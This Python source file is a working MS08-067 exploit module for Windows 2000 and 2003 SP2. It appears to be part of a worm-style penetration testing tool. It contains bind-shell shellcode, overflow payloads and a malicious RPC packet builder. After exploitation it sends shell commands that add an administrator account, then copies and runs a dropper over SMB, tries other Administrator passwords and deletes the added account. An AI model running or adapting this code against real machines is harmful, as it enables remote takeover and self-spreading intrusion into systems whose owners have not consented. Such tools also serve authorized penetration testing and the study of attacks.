#!/usr/bin/env python
#############################################################################
#  MS08-067 Exploit by Debasis Mohanty (aka Tr0y/nopsled)
#  www.hackingspirits.com
#  www.coffeeandsecurity.com
#  Email: d3basis.m0hanty @ gmail.com
#############################################################################

import sys
import time
import socket
from enum import IntEnum
from logging import getLogger
from model.host import VictimHost
from model import DROPPER_CMDLINE, MONKEY_CMDLINE
from . import HostExploiter
from exploit.tools import SmbTools, get_target_monkey
from network.tools import check_port_tcp
from network import SMBFinger

try:
    from impacket import smb
    from impacket import uuid
    from impacket.dcerpc import dcerpc
    from impacket.dcerpc import transport
    from impacket.smbconnection import SessionError as SessionError1
    from impacket.smb import SessionError as SessionError2
    from impacket.smb3 import SessionError as SessionError3
except ImportError, exc:
    print str(exc)
    print 'Install the following library to make this script work'
    print 'Impacket : http://oss.coresecurity.com/projects/impacket.html'
    print 'PyCrypto : http://www.amk.ca/python/code/crypto.html'
    sys.exit(1)


LOG = getLogger(__name__)
 
# Portbind shellcode from metasploit; Binds port to TCP port 4444
SHELLCODE = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
SHELLCODE += "\x29\xc9\x83\xe9\xb0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\xe9"
SHELLCODE += "\x4a\xb6\xa9\x83\xee\xfc\xe2\xf4\x15\x20\x5d\xe4\x01\xb3\x49\x56"
SHELLCODE += "\x16\x2a\x3d\xc5\xcd\x6e\x3d\xec\xd5\xc1\xca\xac\x91\x4b\x59\x22"
SHELLCODE += "\xa6\x52\x3d\xf6\xc9\x4b\x5d\xe0\x62\x7e\x3d\xa8\x07\x7b\x76\x30"
SHELLCODE += "\x45\xce\x76\xdd\xee\x8b\x7c\xa4\xe8\x88\x5d\x5d\xd2\x1e\x92\x81"
SHELLCODE += "\x9c\xaf\x3d\xf6\xcd\x4b\x5d\xcf\x62\x46\xfd\x22\xb6\x56\xb7\x42"
SHELLCODE += "\xea\x66\x3d\x20\x85\x6e\xaa\xc8\x2a\x7b\x6d\xcd\x62\x09\x86\x22"
SHELLCODE += "\xa9\x46\x3d\xd9\xf5\xe7\x3d\xe9\xe1\x14\xde\x27\xa7\x44\x5a\xf9"
SHELLCODE += "\x16\x9c\xd0\xfa\x8f\x22\x85\x9b\x81\x3d\xc5\x9b\xb6\x1e\x49\x79"
SHELLCODE += "\x81\x81\x5b\x55\xd2\x1a\x49\x7f\xb6\xc3\x53\xcf\x68\xa7\xbe\xab"
SHELLCODE += "\xbc\x20\xb4\x56\x39\x22\x6f\xa0\x1c\xe7\xe1\x56\x3f\x19\xe5\xfa"
SHELLCODE += "\xba\x19\xf5\xfa\xaa\x19\x49\x79\x8f\x22\xa7\xf5\x8f\x19\x3f\x48"
SHELLCODE += "\x7c\x22\x12\xb3\x99\x8d\xe1\x56\x3f\x20\xa6\xf8\xbc\xb5\x66\xc1"
SHELLCODE += "\x4d\xe7\x98\x40\xbe\xb5\x60\xfa\xbc\xb5\x66\xc1\x0c\x03\x30\xe0"
SHELLCODE += "\xbe\xb5\x60\xf9\xbd\x1e\xe3\x56\x39\xd9\xde\x4e\x90\x8c\xcf\xfe"
SHELLCODE += "\x16\x9c\xe3\x56\x39\x2c\xdc\xcd\x8f\x22\xd5\xc4\x60\xaf\xdc\xf9"
SHELLCODE += "\xb0\x63\x7a\x20\x0e\x20\xf2\x20\x0b\x7b\x76\x5a\x43\xb4\xf4\x84"
SHELLCODE += "\x17\x08\x9a\x3a\x64\x30\x8e\x02\x42\xe1\xde\xdb\x17\xf9\xa0\x56"
SHELLCODE += "\x9c\x0e\x49\x7f\xb2\x1d\xe4\xf8\xb8\x1b\xdc\xa8\xb8\x1b\xe3\xf8"
SHELLCODE += "\x16\x9a\xde\x04\x30\x4f\x78\xfa\x16\x9c\xdc\x56\x16\x7d\x49\x79"
SHELLCODE += "\x62\x1d\x4a\x2a\x2d\x2e\x49\x7f\xbb\xb5\x66\xc1\x19\xc0\xb2\xf6"
SHELLCODE += "\xba\xb5\x60\x56\x39\x4a\xb6\xa9"
 
 
# Payload for Windows 2000 target
PAYLOAD_2000 ='\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00'
PAYLOAD_2000 += '\x41\x41\x41\x41\x41\x41\x41\x41'
PAYLOAD_2000 += '\x41\x41\x41\x41\x41\x41\x41\x41'
PAYLOAD_2000 += '\x41\x41'
PAYLOAD_2000 += '\x2f\x68\x18\x00\x8b\xc4\x66\x05\x94\x04\x8b\x00\xff\xe0'
PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43'
PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43'
PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43'
PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43'
PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43'
PAYLOAD_2000 += '\xeb\xcc'
PAYLOAD_2000 += '\x00\x00'
 
# Payload for Windows 2003[SP2] target
PAYLOAD_2003 ='\x41\x00\x5c\x00'
PAYLOAD_2003 += '\x2e\x00\x2e\x00\x5c\x00\x2e\x00'
PAYLOAD_2003 += '\x2e\x00\x5c\x00\x0a\x32\xbb\x77'
PAYLOAD_2003 += '\x8b\xc4\x66\x05\x60\x04\x8b\x00'
PAYLOAD_2003 += '\x50\xff\xd6\xff\xe0\x42\x84\xae'
PAYLOAD_2003 += '\xbb\x77\xff\xff\xff\xff\x01\x00'
PAYLOAD_2003 += '\x01\x00\x01\x00\x01\x00\x43\x43'
PAYLOAD_2003 += '\x43\x43\x37\x48\xbb\x77\xf5\xff'
PAYLOAD_2003 += '\xff\xff\xd1\x29\xbc\x77\xf4\x75'
PAYLOAD_2003 += '\xbd\x77\x44\x44\x44\x44\x9e\xf5'
PAYLOAD_2003 += '\xbb\x77\x54\x13\xbf\x77\x37\xc6'
PAYLOAD_2003 += '\xba\x77\xf9\x75\xbd\x77\x00\x00'


class WindowsVersion(IntEnum):
    Windows2000 = 1
    Windows2003_SP2 = 2
 
 
class SRVSVC_Exploit(object):
    TELNET_PORT = 4444
    
    def __init__(self, target_addr, os_version=WindowsVersion.Windows2003_SP2, port=445):
        self._port = port
        self._target = target_addr
        self._payload = PAYLOAD_2000 if WindowsVersion.Windows2000 == os_version else PAYLOAD_2003

    def get_telnet_port(self):
        """get_telnet_port()
        
        The port on which the Telnet service will listen.
        """
        
        return SRVSVC_Exploit.TELNET_PORT
     
    def start(self):
        """start() -> socket
        
        Exploit the target machine and return a socket connected to it's
        listening Telnet service.
        """
        
        target_rpc_name = "ncacn_np:%s[\\pipe\\browser]" % self._target
        
        LOG.debug("Initiating exploit connection (%s)", target_rpc_name)
        self._trans = transport.DCERPCTransportFactory(target_rpc_name)
        self._trans.connect()
        
        LOG.debug("Connected to %s", target_rpc_name)
        
        self._dce = self._trans.DCERPC_class(self._trans)
        self._dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))
        
        dce_packet = self._build_dce_packet()
        self._dce.call(0x1f, dce_packet)  #0x1f (or 31)- NetPathCanonicalize Operation
                
        LOG.debug("Exploit sent to %s successfully...", self._target)
        LOG.debug("Target machine should be listening over port %d now", self.get_telnet_port())
        
        sock = socket.socket()
        sock.connect((self._target, self.get_telnet_port()))
        return sock

    def _build_dce_packet(self):
        # Constructing Malicious Packet
        dce_packet = '\x01\x00\x00\x00'
        dce_packet += '\xd6\x00\x00\x00\x00\x00\x00\x00\xd6\x00\x00\x00'
        dce_packet += SHELLCODE
        dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41'
        dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41'
        dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41'
        dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41'
        dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41'
        dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41'
        dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41'
        dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41'
        dce_packet += '\x00\x00\x00\x00'
        dce_packet += '\x2f\x00\x00\x00\x00\x00\x00\x00\x2f\x00\x00\x00'
        dce_packet += self._payload
        dce_packet += '\x00\x00\x00\x00'
        dce_packet += '\x02\x00\x00\x00\x02\x00\x00\x00'
        dce_packet += '\x00\x00\x00\x00\x02\x00\x00\x00'
        dce_packet += '\x5c\x00\x00\x00\x01\x00\x00\x00'
        dce_packet += '\x01\x00\x00\x00'
        
        return dce_packet

class Ms08_067_Exploiter(HostExploiter):
    _target_os_type = ['windows']
    _windows_versions = {'Windows Server 2003 3790 Service Pack 2' : WindowsVersion.Windows2003_SP2, 
                        'Windows Server 2003 R2 3790 Service Pack 2' : WindowsVersion.Windows2003_SP2}

    def __init__(self):
        self._config = __import__('config').WormConfiguration

    def is_os_supported(self, host):
        if host.os.get('type') in self._target_os_type and \
                        host.os.get('version') in self._windows_versions.keys():
            return True

        if not host.os.get('type') or (host.os.get('type') in self._target_os_type and not host.os.get('version')):
            is_smb_open,_ = check_port_tcp(host.ip_addr, 445)
            if is_smb_open:
                smb_finger = SMBFinger()
                if smb_finger.get_host_fingerprint(host):
                    return host.os.get('type') in self._target_os_type and \
                            host.os.get('version') in self._windows_versions.keys()
        return False

    def exploit_host(self, host, src_path=None):
        assert isinstance(host, VictimHost)

        src_path = src_path or get_target_monkey(host)

        if not src_path:
            LOG.info("Can't find suitable monkey executable for host %r", host)
            return False

        os_version = self._windows_versions.get(host.os.get('version'), WindowsVersion.Windows2003_SP2)

        exploited = False
        for _ in range(self._config.ms08_067_exploit_attempts):
            exploit = SRVSVC_Exploit(target_addr=host.ip_addr, os_version=os_version)

            try:
                sock = exploit.start()

                sock.send("cmd /c (net user %s %s /add) &&"
                          " (net localgroup administrators %s /add)\r\n" % \
                          (self._config.ms08_067_remote_user_add,
                           self._config.ms08_067_remote_user_pass,
                           self._config.ms08_067_remote_user_add))
                time.sleep(2)
                reply = sock.recv(1000)

                LOG.debug("Exploited into %r using MS08-067", host)
                exploited = True
                break
            except Exception, exc:
                LOG.debug("Error exploiting victim %r: (%s)", host, exc)
                continue

        if not exploited:
            LOG.debug("Exploiter MS08-067 is giving up...")
            return False

        # copy the file remotely using SMB
        remote_full_path = SmbTools.copy_file(host,
                                              self._config.ms08_067_remote_user_add,
                                              self._config.ms08_067_remote_user_pass,
                                              src_path,
                                              self._config.dropper_target_path)
        if not remote_full_path:
            # try other passwords for administrator
            for password in self._config.psexec_passwords:
                remote_full_path = SmbTools.copy_file(host,
                                                      "Administrator",
                                                      password,
                                                      src_path,
                                                      self._config.dropper_target_path)
                if remote_full_path:
                    break

            if not remote_full_path:
                return False

        # execute the remote dropper in case the path isn't final
        if remote_full_path.lower() != self._config.dropper_target_path.lower():
            cmdline = DROPPER_CMDLINE % {'dropper_path': remote_full_path}
        else:
            cmdline = MONKEY_CMDLINE % {'monkey_path': remote_full_path}

        if host.default_tunnel:
            cmdline += " -t " + host.default_tunnel

        try:
            sock.send("start %s\r\n" % (cmdline, ))
            sock.send("net user %s /delete\r\n" % (self._config.ms08_067_remote_user_add, ))
        except Exception, exc:
            LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", host, exc)
            return False
        finally:
            try:
                sock.close()
            except:
                pass

        LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
                 remote_full_path, host, cmdline)

        return True